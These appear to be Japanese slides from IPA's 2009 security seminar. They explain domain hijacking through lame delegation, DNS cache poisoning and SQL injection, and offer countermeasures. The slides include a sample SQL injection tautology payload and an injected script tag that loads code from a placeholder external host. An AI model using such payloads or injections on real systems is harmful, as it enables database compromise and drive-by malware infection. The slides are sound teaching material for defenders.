2009年度IPA情報セキュリティセミナー
技術コース 専門編
本テキストのpdfファイルは
http://www.ipa.go.jp/security/event/2009/isec-semi/kaisai.html
技術コース 専門編について
• 対象
– 企業等のウェブサイト公開やシステム運用にお
ける安全性向上について理解を深めたい方
• ポイント
– 主に企業ウェブに関連したセキュリティ事故の
ケーススタディによる脅威と対策の技術的解説
技術コース 専門編の内容
ケーススタディ+解説
1. DNS経由の不正アクセス
2. ウェブアプリケーションの脆弱性
3.インシデントレスポンス
ケーススタディ1
DNS経由の不正アクセス
会社のドメイン名が乗っ取られる?
ケーススタディ1
DNS経由の不正アクセス
1.1 DNSとは?
1.2 事例:会社のドメイン情報が乗っ取られる
1.3 何が起きていたのか
1.4 対策の前に
1.5 危険なDNS設定とは
1.6 LAME delegation の対策
1.7 DNSキャッシュポイズニング
1.1 DNSとは?
• DNS(Domain Name System)
• ホスト名
(例:www.example.jp)
から、アクセスに必要なIPアドレ
ス
(例:192.168.0.1)
を検索する世界的な分散データベース
• 自分で取得したドメイン名を使いたい場合、正式なDNS
サーバをドメイン名レジストリ(JPドメインはJPRS)に登録し
た上で、正式なDNSサーバを通じて公開する必要がある。
Windows でのクライアント設定例
http://www.example.jp
ホスト名
ドメイン名
FQDN (Fully Qualified Domain Name)
URLにおけるドメイン名の例
通信先
192.168.0.1
1.2 事例:
会社のドメイン情報が乗っ取られる
• ソフトウェア開発会社 M
– 社員数約500名
– 公式の自社ウェブサイト以外にも、顧客サイトや、開発用
のテストサイトなどを運用
– ISMSやPマークの全社取得を目指し、情報の取扱や安
定稼働、セキュリティには注意している
– ネットワーク管理グループを設け、日々の運用でパッチ
の検査と適用を実施
– データセンターに基幹サーバを設置
– ネットワークは侵入防止システム(IPS)で24時間監視
社内ネットワーク環境
インターネットデータセンター(IDC)
M社 社内ネットワーク
WEB
DB
DNS
インターネット
FW&IPS
FW&IPS
専用線
v
○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○○○○ ○○○○ ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■社内
ユーザ
サーバ
エリア
• ある日突然、「御社のウェブサイトを
見たら、ウイルス対策ソフトが反応し
た」というクレームが来始めた
• 「これまでと違うページが見えること
がある」というクレームも複数
ウェブサイトを見た顧客からクレーム
ウェブアプリケーションは専門
企業に依頼して検査していたし、
OKも出ていたのに・・・
メールにも別ルートからクレームが
• M社(この会社)宛のメールが届かないことが
ある
• 届く場合でも、遅延していることがある
– 長いときは数日も届かない
• 全く問題がないケースも多数
ウェブのクレームと同じく、「ときどき」。
共通項はそれだけ。同じ原因??
管理グループによる調査
•
メールの調査
• 外部からのメールに遅延が生じていることは確認
• サーバ負荷には問題はない
• 社内からメールを送信する場合は問題なさそう
•
ウェブサイトの調査
• 社内から確認したところでは問題ない
• バックエンド含めサーバ負荷にも問題はない
• 結局事象は確認できたが原因は特定できず
– 外部からのアクセスに集中しているので、ネットワーク回
線の不調か?
→ISP に調査を依頼したが、何も判明せ
ず
社内から調査する
• 会社のウェブサイトのあ
るサーバや、DBを調べ
たが、怪しいものは見当
たらない
• クロスサイト・スクリプティ
ング? しかし、構築時に
セキュリティ検査済みだ
し、監視サービスも何も
言ってきていない。ログ
にも怪しい兆候はない
v
M
website
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○○○○ ○○○○ ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■ ---<div class=“maincontent”> /* start - topic area */<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */
<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */
<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */
<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */
<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div>
www: tail –f /var/log/apache/access_log [~/work]
<div class=“maincontent”> /* start - topic area */
<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div>
念のため社外から調査する
• 携帯電話回線(モバイル
カード)経由で見てみる
• 異常なし。・・・しかし、た
またまリロードしてみた
ら
ウイルス対策ソフトが
反応した
!
• あれ、これうちのサイト
に似てるけど微妙に違う
• 連続的にリロードすると
何度かに一度
程度出て
くる
v
M
website
● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○○○○ ○○○○ ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■---ウェブサイトのIPアドレスが違う?
• 知らないIPアドレスに誘導されている!?
C:¥WINDOWS>nslookup www.m.example.jp
Server: mobile.isp.example.com
Address: 10.1.1.1
Non-authoritative answer:
Name:www.m.example.jp
Addresses: 192.168.0.2 192.168.0.3
172.16.44.193
C:¥WINDOWS>nslookup –type=ns m.example.jp
Server: mobile.isp.example.com
Address: 10.1.1.1
Non-authoritative answer:
m.example.jp nameserver = ns.m.example.jp
m.example.jp nameserver =
ns-itaku.server.test
このIPアドレスは
何だ!?
全く知らないアド
レスだが・・・
あれ?このネー
ムサーバって、
以前に見たこと
がある・・・
1.3 何が起きていたのか
• 不正なDNSサーバが、正式なDNSサーバと
して動いていた
– 昔委託していたDNSサーバがあったが、業者の
撤退後、その業者が利用していたドメイン名を、
期限切れ後に第三者が取得したらしい
– レジストリの情報がそのままだったので、第三者
のサーバが正式なDNSサーバに…
• 数分の一の確率で偽サーバに誘導されてし
まう
(実装に依存)
解説:正式なDNSサーバとは
• そのドメイン名に関
する正しい情報を持
つ、権威あるネーム
サーバ
(Authoritative NS)
• 取得したドメイン名
の正式なDNSサー
バは、ドメイン名レジ
ストリに登録する必
要がある
ドメイン名レジストリ
(.JP ドメインならば JPRS が管理)
m.example.jp
の正式なDNSサーバ
・ns.m.example.jp
・ns2.m.example.jp
foobar.example.jp
の正式なDNS
サーバ
・ns.foobar.example.jp
・ns.extend.example.jp
不正なDNSサーバによる誘導
• アクセスした DNS サーバによって、宛先が
かわってしまう
本当のDNS
192.168.0.1
悪意あるDNS
172.16.44.193
www.example.jp
(Webサーバ)
→172.16.44.193
メールの宛先
→172.16.44.193
www.example.jp
(Webサーバ)
→192.168.0.2
メールの宛先(MX)
→192.168.0.4
本当のサーバ
192.168.0.4
悪意あるサーバ
172.16.44.193
メールサーバのIPアドレスを
教えてください
こちらのサーバに送れば
いいんですね
メールを奪取しました
読んだので本来の
サーバに送付しておき
ますね
メールを受信しました
メールサーバのIPアドレスを
教えてください
こちらのサーバに送れば
いいんですね
[email protected] さん宛にメール
被害
• 急いでドメイン登録会社を通じ、DNSレジストリの登
録情報を修正する手続きを取った
• メールが読まれていた事から情報漏えいにもあた
るので、どれだけ被害があったかもう把握できない。
企業として謝罪する必要があり大打撃
• 公式ウェブサイトにアクセスしようとした人に、ウイ
ルスを感染させようとした
• ウェブサイトの誘導だけではなく、メールの宛先も
同様に誘導され、メールも読まれてしまっていた
参考: 最近のウイルスの動作
•
罠ウェブ経由/普通のウェブ経由
で感染
• ブラウザやプラグインの
複数の脆弱性
をついて侵入を試み
る
• 最初は小さくて流用しやすいプログラム(ダウンローダ)に感
染させる
• 実際の攻撃は別サイトからダウンロードしたコード(プログラ
ムそのもの)が行う
•
何がダウンロードされるかわからない
=対策パッチをあてて
も、そのパッチを掻い潜る次の攻撃手法が使われる
• ダウンロードや命令には、会社が制限できない内部→外部
のHTTP/HTTPSを利用し、
正規の通信に見せかける
。
参考: 近年の標的型攻撃に関する調査研究
1.4 対策の前に:
DNSサーバには2種類あります
DNSコンテンツサーバ
(Authoritative サーバ)
自分のドメイン名情報を管理し
外部に公開するのが目的
上位のドメイン情報に登録されることで
「正式なDNSサーバ」となる
DNSキャッシュサーバ
(Recursiveサーバ/Resolve サーバ)
内部からの要求により
外部のDNS情報を検索するのが目的
クライアントがインターネットの設定で
「DNSサーバ」として指定する
正式なDNSサーバへのアクセス方法
•
DNSの階層を辿る
には、一つ上のドメ
イン階層のサーバ
に正式なDNSサー
バが登録されてい
る必要がある
•
ルートDNSサーバ
から検索開始
•
日本(JPドメイン名)
はJPRSが管理す
るレジストリに登録
•
最終的に目的の情
報を持つDNSサー
バに辿りつく
http://www.example.jp にアクセス
DNSキャッシュサーバ
ルートDNSサーバ
全世界に13システム
A.DNS.JP
JPドメイン名用に5システム
NS.EXAMPLE.JP
example.jp.ドメイン名情報を管
理すると登録したDNSサーバ
DNSコンテンツサーバ
「
WWW.EXAMPLE.JP.」の情報は?
A.DNS.JP. が知っています
「
WWW.EXAMPLE.JP.」の情報は?
NS.EXAMPLE.JP. が知っています
「
WWW.EXAMPLE.JP.」の情報は?
192.168.0.2 です
www.example.jp は192.168.0.2 です
リクエスト
返答
1.5 危険なDNS設定とは:
ネットワークの実際と設定の不一致
• ネットワークの実体が
正式な状態とずれる要因
– 管理業者の移転や
サーバ設定の更新時の
設定変更忘れ
– ミススペルなどの
設定ミス
(example.jp
→ ex
ma
ple.jp)
dns.jp
ns.exam
ple.jp
ns2.exa
mple.jp
ns.ex
ma
ple.jp
root-servers.net
あるはずの無いサーバが正式なサーバに
LAME Delegation
と呼ばれる良くない状態となる
example.jp
の登録
・ns.ex
ma
ple.jp
・ns2.example.jp
example.jp
の登録
・ns.example.jp
・ns2.example.jp
LAME delegation 状態
• LAME delegation とは、正式なDNSサーバ
(Authority)として登録されたサーバがおかし
い状態
1. そもそも DNS サーバとして応答しない
2. 正式なサーバではないという意味の返答、
Non-authoritative answer が返ってくる
3. 複数のコンテンツサーバの応答が一致しない
問いあわせるサーバにより返答が違う
ドメイン情報ハイジャックの可能性
• 手つかずのドメインや失
効したドメインを取得し、
不正なDNSサーバを立
てられてしまう
• 内部で DNSサーバを
共用していると、
内部サーバで名前
解決されるので
被害に気がつきにくい
dns.jp
ns.exam
ple.jp
ns2.exa
mple.jp
ns.ex
ma
ple.jp
root-servers.net
第三者が EXMAPLE.JP ドメインを取得すると
正式なDNSサーバを勝手に立てられてしまう
example.jp
の登録
・ns.ex
ma
ple.jp
・ns2.example.jp
類例
→Typosquatting:有名なサイトとよく似たドメイン名を取得し、タイプミスを狙う
不正なDNSサーバを立てられると
• ウェブサイトへのアクセスを誘導できる
– フィッシング詐欺や認証情報の取得など
• メールの宛先をそのままに誘導できる
• メールアドレスがあれば、正式なSSL証明書
を取得できる可能性がある
• 現象が「ときどき」起きるので、調査は難
しく、放置してしまいがちになる
1.6 LAME delegation の対策
• 今から取れる保険的対策
– 組織の正しいDNSサーバを調査する
• ネットワーク上の現物調査ではなく、ネットワーク構成上そ
うあるべき正しいサーバを調査する。
• 自社のDNSサーバだけではなく、委託先のDNSサーバが
あれば、それも調査をおすすめします。
– DNSレジストリへの登録や、DNSサーバの設定が
違っていたら、正しい状態に修正する
• DNSレジストリの修正は、一般にドメイン名登録業者(レジ
ストラ)に依頼することとなります
• ウェブでのインタフェースが用意されている事も
• コンテンツサーバが複数ある場合は、同じドメイン名に関
する NS 情報は、全部同じ内容にしてください。
正式なDNSサーバの調査方法(1)
手順を踏んで調べる方法
• 自組織が運用している、「正式」なDNSサーバの一覧を調べ
る
• whois で、レジストリに登録されている「正式」なDNSサーバ
の一覧を調べる
• whois の結果返されたDNSサーバに、IPアドレスで
nslookup をし、NS レコードを調べる
• 全ての NS に指定されているサーバについてたどっていき、
本来そうあるべき一覧と違わなければOK
※参考:ドメイン名の登録と DNS サーバの設定に関する注意喚起(IPA)
http://www.ipa.go.jp/security/vuln/20050627_dns.html
正式なDNSサーバの調査方法(2)
簡易的に外部サイトを利用して調べる方法
根本的解決
• 2種類のDNSサーバを機能ごとに分けて
構築する
– アクセス制限の対象や設定が全く違う
コンテンツサーバ
キャッシュサーバ
目的
自分のドメイン情報の管理
要求に応じたDNSの検索
アクセス元
基本的に外部
組織内部
アクセスする主体
キャッシュサーバ
一般のコンピュータ
上位ドメインへの登録
○必要/Authoritative
×不要/Non-authoritative
他ドメイン情報の要求
×返答しない
○再帰的に検索して返答する
DNSサーバによるアクセス制限の違いに注意
混ぜるな危険
DNSサーバの種類により、全く違うアクセス制限が必要
DNSコンテンツサーバ
外部からのリクエスト中心DNSキャッシュサーバ
内部からのリクエスト中心内部からの
リクエストが
本来の通信
インターネット
外部から利用す
る必要がない
キャッシュサーバは
外部のDNSサーバ
にアクセスできる必
要がある
直接外部の
DNSサーバに
アクセスする
必要はない
コンテンツサー
バは外部からア
クセスできる必
要がある
組織内部
その他よくある注意事項
•
DNS はゾーン転送以外にも TCP を使うので、53/udp だけでなく53/tcp も許可する必要
がある。可能ならばDNS サーバで EDNS0 を利用する。
•
コンテンツサーバで、ゾーンの TTL 設定が短かすぎる(30秒など)と攻撃を受けやすくなる。
まとめ
• DNS が LAME delegation 状態となっ
ている場合、状況によってはドメイン情
報をハイジャックされる危険性がある
• 自組織のDNSの設定を確認し、LAME
Delegation 状態があれば解消する
• これから作成するDNSサーバは、機能
ごとに分割して構築する
1.7 DNSキャッシュポイズニング
• キャッシュを偽情報で汚染する
www.example.jp?
www.example.jp?
XX.YY.XXX.YYY
XX.YY.XXX.YYY
問い合わせと応答の正常なやり取り
DNSキャッシュポイズニング
www.example.jp?
www.example.jp?
XX.YY.XXX.YYY
XX.ZZ.VVV.ZZZ
問い合わせと偽リプライを多数送信
(バースデイアタック型)
XX.ZZ.VVV.ZZZ
www.example.jp?
カミンスキーアタック
• 従来型より効率の良いDNSキャッシュポイズ
ニング
– 従来型は汚染に失敗するとTTL(Time To Live)
設定値の間次の攻撃を待つ必要があった
– 存在しないホスト名に関するクエリを、都度変えて
送れば、TTLは関係ない
• 001.example.jp、002.exsample.jp・・・
• 偽情報を持つDNSサーバに誘導する手法と、
直接キャッシュ情報を書き換える手法が存在
する
DNSキャッシュポイズニング
www.example.jp?
001.example.jp?
XX.ZZ.YYY.ZZZ
偽造応答にNSレコードを入れる
(カミンスキー型)
XX.ZZ.YYY.ZZZ
001.example.jp?
www.example.jp NS ns.evelexample.jp
のクエリIDが一致するまでクエリ
と偽応答を何度も送信する
www.example.jp?
キャッシュポイズニング対策
• 再帰問い合わせを制限・禁止
• ソースポート(クエリIDと同様に、汚染時に一
致させる必要があるもの)のランダマイズ
– パッチがリリースされている
– 確率を下げるだけなので、ゼロにはならない
• 連続的問い合わせの制限
• 詳細は
http://www.ipa.go.jp/security/vuln/DNS_se
curity.html
参考資料一覧
•
IPA ドメイン名の登録と DNS サーバの設定に関する注意喚起
http://www.ipa.go.jp/security/vuln/20050627_dns.html
•
IPA 近年の標的型攻撃に関する調査研究
http://www.ipa.go.jp/security/fy19/reports/sequential/index.html
•
JPRS DNS 関連技術情報
http://jprs.jp/tech/
•
JPNIC 逆引きネームサーバの適切な設定について
http://www.nic.ad.jp/ja/dns/lame/announce.html
ケーススタディ2
ウェブアプリケーションの脆弱性
企業サイトがウイルス感染の加害者に
ケーススタディ2
ウェブアプリケーションの脆弱性
2.1 SQLインジェクションとは
2.2 SQLインジェクション対策
2.3 クロスサイト・スクリプティングとは
2.4 クロスサイト・スクリプティング対策
Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー
攻撃の類型
• 直接攻撃
–データベース
–セッション管理への攻撃
• 間接攻撃
–コンテンツ改ざんによる罠
–スクリプトを悪用する罠
–認証を盗み、成りすます
Copyright (c) 2009 NPO日本ネットワークセキュリティ協会40
2.1 SQLインジェクションとは
• 本来直接操作できないデータベー
スを外部から操作されてしまう
• 原因
– データベースへの命令の組み
立て方に問題
SQL文を使ったデータベースとのやり取り
• データベースへの問い合わせはウェブアプリ
ケーションが行う
id:sonodam
password:sonopass
select * from
idtable where id =
„sonodam‟ and
password=
„sonopass‟;
該当データ有り
ようこそ「園田」さん
ウェブアプリケーションが問い合わせ代行、翻訳を行っている
ウェブアプリ
ケーション
データベース
SQLインジェクション攻撃
• 外部からSQL文を「挿入」されてしまう
id:sonodam
password:test‟ or
„A‟ = „A
select * from idtable
where id = „sonodam‟
and password= „test‟
or „A‟ = „A‟;
該当データ有り
ようこそ「園田」さん
ウェブアプリケーションがSQL文をスルーしていることが原因
ウェブアプリ
ケーション
データベース
$p
=foo
'
or
'
a
'
=
'
a の場合:
SELECT * FROM a WHERE id=' ';
$p
=foo の場合:
SELECT * FROM a WHERE id=' ';
$p
=foo の場合:
SELECT * FROM a WHERE id='foo';
なぜ SQL 文を挿入されてしまうのか?
•
特別な意味を持つ記号文字
の扱いが不適切。
SELECT * FROM a WHERE id='
$p
';
$p
=foo
'
or
'
a
'
=
'
a の場合:
SELECT * FROM a WHERE id='foo
'
or
'
a
'
=
'
a';
変数中の
記号文字
が意味のある文字として解釈される。
2.1 SQLインジェクションとは(続き)
• 生じうる脅威
– 秘密情報、個人情報等の漏えい
– 重要情報の改ざん、破壊
• ウェブサイト上にウイルスを「埋め込まれる」
– 任意のコード・コマンドを実行される
• 別のサーバを攻撃する踏み台となる
狙われるCMSのコンテンツ
• データベースに格納されたコンテンツ
データ(HTMLデータなどを含む)を汚染
する
• 外部のスクリプトを読み込ませて、ウイ
ルスをダウンロードさせる仕組み
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang=“ja”>
<head>
<title>Welcome to “C” shopping site</title>
<link rel="stylesheet" href="style.css" TYPE="text/css">
<script src=“http://othersite.example.net/3.js”></script>
</head>
SQLインジェクションによる 改ざん・情報漏洩事件 ツールによる攻撃が激化 JSOCから注意喚起を配信 さらにツールが進化 水面下で売買 検索エンジンの悪用 2009年1月 攻撃検知数 1,508,852件 2009年3月 攻撃検知数 285,548件 2009年7月 攻撃検知数 60,638件 2008年12月 攻撃検知数 15,027,791件 ボットネット悪用の 急増